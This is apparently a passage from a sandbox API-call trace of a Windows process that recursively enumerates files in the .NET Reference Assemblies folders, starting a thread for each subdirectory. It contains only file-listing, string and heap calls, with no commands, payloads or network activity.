FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6898a0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac6898a0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaca8ddc7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0152.375] wcscmp (_String1="System.Data.Linq.dll", _String2=".") returned 1 [0152.375] wcscmp (_String1="System.Data.Linq.dll", _String2="..") returned 1 [0152.375] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad6e6ffe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad6e6ffe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad7332be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0152.375] wcscmp (_String1="System.Data.Services.Client.dll", _String2=".") returned 1 [0152.375] wcscmp (_String1="System.Data.Services.Client.dll", _String2="..") returned 1 [0152.375] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb097c3db, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb097c3db, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb097c3db, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0152.375] wcscmp (_String1="System.Data.Services.Design.dll", _String2=".") returned 1 [0152.375] wcscmp (_String1="System.Data.Services.Design.dll", _String2="..") returned 1 [0152.375] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09a253b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb09a253b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb09c869b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0152.375] wcscmp (_String1="System.Data.Services.dll", _String2=".") returned 1 [0152.375] wcscmp (_String1="System.Data.Services.dll", _String2="..") returned 1 [0152.375] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5092b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae5092b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae555578, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0152.375] wcscmp (_String1="System.DirectoryServices.AccountManagement.dll", _String2=".") returned 1 [0152.375] wcscmp (_String1="System.DirectoryServices.AccountManagement.dll", _String2="..") returned 1 [0152.375] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb093011a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb093011a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb095627b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0152.375] wcscmp (_String1="System.Management.Instrumentation.dll", _String2=".") returned 1 [0152.375] wcscmp (_String1="System.Management.Instrumentation.dll", _String2="..") returned 1 [0152.375] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacfe8f51, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xacfe8f51, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad0cd792, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0152.375] wcscmp (_String1="System.Net.dll", _String2=".") returned 1 [0152.375] wcscmp (_String1="System.Net.dll", _String2="..") returned 1 [0152.375] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96ee048, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96ee048, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa96ee048, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x78000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0152.375] wcscmp (_String1="System.ServiceModel.Web.dll", _String2=".") returned 1 [0152.375] wcscmp (_String1="System.ServiceModel.Web.dll", _String2="..") returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae496e97, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae496e97, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae496e97, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1 [0152.376] wcscmp (_String1="System.Web.Abstractions.dll", _String2=".") returned 1 [0152.376] wcscmp (_String1="System.Web.Abstractions.dll", _String2="..") returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabe34b90, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xabe34b90, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xabf193d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1 [0152.376] wcscmp (_String1="System.Web.DynamicData.Design.dll", _String2=".") returned 1 [0152.376] wcscmp (_String1="System.Web.DynamicData.Design.dll", _String2="..") returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1ecdf7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xac1ecdf7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xac3b5e7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1 [0152.376] wcscmp (_String1="System.Web.DynamicData.dll", _String2=".") returned 1 [0152.376] wcscmp (_String1="System.Web.DynamicData.dll", _String2="..") returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc30cea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xacc30cea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xacd3b68c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1 [0152.376] wcscmp (_String1="System.Web.Entity.Design.dll", _String2=".") returned 1 [0152.376] wcscmp (_String1="System.Web.Entity.Design.dll", _String2="..") returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5edaf9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae5edaf9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae71e5fc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1 [0152.376] wcscmp (_String1="System.Web.Entity.dll", _String2=".") returned 1 [0152.376] wcscmp (_String1="System.Web.Entity.dll", _String2="..") returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadaeb525, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xadaeb525, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xadb11685, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1 [0152.376] wcscmp (_String1="System.Web.Extensions.Design.dll", _String2=".") returned 1 [0152.376] wcscmp (_String1="System.Web.Extensions.Design.dll", _String2="..") returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab7cf064, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab7cf064, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xabd0408e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1 [0152.376] wcscmp (_String1="System.Web.Extensions.dll", _String2=".") returned 1 [0152.376] wcscmp (_String1="System.Web.Extensions.dll", _String2="..") returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae97fc00, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xae97fc00, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xae97fc00, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1 [0152.376] wcscmp (_String1="System.Web.Routing.dll", _String2=".") returned 1 [0152.376] wcscmp (_String1="System.Web.Routing.dll", _String2="..") returned 1 [0152.376] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a316a7b, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x6a316a7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x6a33cbd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1 [0152.377] wcscmp (_String1="System.Windows.Presentation.dll", _String2=".") returned 1 [0152.377] wcscmp (_String1="System.Windows.Presentation.dll", _String2="..") returned 1 [0152.377] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96ee048, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa96ee048, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97141a8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x75000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1 [0152.377] wcscmp (_String1="System.WorkflowServices.dll", _String2=".") returned 1 [0152.377] wcscmp (_String1="System.WorkflowServices.dll", _String2="..") returned 1 [0152.377] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0cd792, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad0cd792, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad2e2ad6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1 [0152.377] wcscmp (_String1="System.Xml.Linq.dll", _String2=".") returned 1 [0152.377] wcscmp (_String1="System.Xml.Linq.dll", _String2="..") returned 1 [0152.377] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x2027ca70 | out: lpFindFileData=0x2027ca70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad0cd792, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad0cd792, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad2e2ad6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 0 [0152.377] FindClose (in: hFindFile=0x1cd9df10 | out: hFindFile=0x1cd9df10) returned 1 [0152.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027ca70) returned 1 [0152.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a58e0) returned 1 [0152.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5fa0) returned 1 Thread: id = 1217 os_tid = 0x924 [0114.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7ad980 [0114.874] wcscpy (in: _Dest=0x1b7ad980, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0114.874] wcscat (in: _Dest=0x1b7ad980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0114.874] wcscat (in: _Dest=0x1b7ad980, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*" [0114.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027cce0 [0114.874] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9e030 [0114.877] wcscmp (_String1=".", _String2=".") returned 0 [0114.877] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.877] wcscmp (_String1="..", _String2=".") returned 1 [0114.877] wcscmp (_String1="..", _String2="..") returned 0 [0114.877] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5f4b44, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa5f4b44, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaaa915ec, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x92000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks.dll", cAlternateFileName="")) returned 1 [0114.877] wcscmp (_String1="PresentationBuildTasks.dll", _String2=".") returned 1 [0114.877] wcscmp (_String1="PresentationBuildTasks.dll", _String2="..") returned 1 [0114.877] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab1db959, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab1db959, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab4fb63f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x406000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="")) returned 1 [0114.877] wcscmp (_String1="PresentationCore.dll", _String2=".") returned 1 [0114.877] wcscmp (_String1="PresentationCore.dll", _String2="..") returned 1 [0114.877] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4de43cb, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4de43cb, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79b03bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero.dll", cAlternateFileName="")) returned 1 [0114.877] wcscmp (_String1="PresentationFramework.Aero.dll", _String2=".") returned 1 [0114.877] wcscmp (_String1="PresentationFramework.Aero.dll", _String2="..") returned 1 [0114.877] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff96fd, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x4ff96fd, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x79e95cbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1 [0114.877] wcscmp (_String1="PresentationFramework.Classic.dll", _String2=".") returned 1 [0114.877] wcscmp (_String1="PresentationFramework.Classic.dll", _String2="..") returned 1 [0114.877] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaaa915ec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaaa915ec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab0aae57, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x509000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1 [0114.877] wcscmp (_String1="PresentationFramework.dll", _String2=".") returned 1 [0114.877] wcscmp (_String1="PresentationFramework.dll", _String2="..") returned 1 [0114.877] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9dec0f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9dec0f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa0e5c7a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1 [0114.878] wcscmp (_String1="PresentationFramework.Luna.dll", _String2=".") returned 1 [0114.878] wcscmp (_String1="PresentationFramework.Luna.dll", _String2="..") returned 1 [0114.878] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653fb0e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x653fb0e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7a4fb7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1 [0114.878] wcscmp (_String1="PresentationFramework.Royale.dll", _String2=".") returned 1 [0114.878] wcscmp (_String1="PresentationFramework.Royale.dll", _String2="..") returned 1 [0114.878] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa10bdda, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa10bdda, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa262a3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0114.878] wcscmp (_String1="ReachFramework.dll", _String2=".") returned 1 [0114.878] wcscmp (_String1="ReachFramework.dll", _String2="..") returned 1 [0114.878] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0114.878] wcscmp (_String1="RedistList", _String2=".") returned 1 [0114.878] wcscmp (_String1="RedistList", _String2="..") returned 1 [0114.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b861f90 [0114.878] wcscpy (in: _Dest=0x1b861f90, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0114.878] wcscat (in: _Dest=0x1b861f90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0114.878] wcscat (in: _Dest=0x1b861f90, _Source="RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" [0127.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b861f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14b4 [0127.300] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0127.300] wcscmp (_String1="SubsetList", _String2=".") returned 1 [0127.300] wcscmp (_String1="SubsetList", _String2="..") returned 1 [0127.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1b861a10 [0127.301] wcscpy (in: _Dest=0x1b861a10, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0127.301] wcscat (in: _Dest=0x1b861a10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\" [0127.301] wcscat (in: _Dest=0x1b861a10, _Source="SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList" [0127.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b861a10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc [0127.314] FindNextFileW (in: hFindFile=0x1cd9e030, lpFindFileData=0x2027cce0 | out: lpFindFileData=0x2027cce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, 